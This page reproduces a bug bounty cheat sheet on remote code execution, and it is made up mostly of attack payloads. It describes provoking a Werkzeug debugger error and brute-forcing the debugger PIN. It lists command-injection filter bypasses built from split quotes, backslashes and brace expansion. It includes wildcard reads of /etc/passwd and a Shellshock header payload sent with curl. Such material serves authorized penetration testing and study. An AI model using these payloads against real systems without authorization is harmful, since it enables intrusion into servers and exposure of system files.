RCE cheat sheet

Remote code execution (RCE)Exploitation

From Bug Bounty Cheat Sheet by EdOverflow and contributors, under the CC BY-SA 4.0 licence. Shown as written; the title and classification are ours. This tip stays under the CC BY-SA 4.0 licence. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Werkzeug Debugger

Find somewhere where user input can be supplied and submit the following string to cause an error:

code
strіng

If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: ***-***-***.

Basic Bypasses

code
i'''d
i"""d
code
\l\s -l\a\h
code
cat /e?c/p?ss??
cat /e??/??ss*
code
{ls,}
{ls,-a}

Shellshock Bug

bash
() { :;}; echo vulnerable
zsh
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

Comments

No comments yet.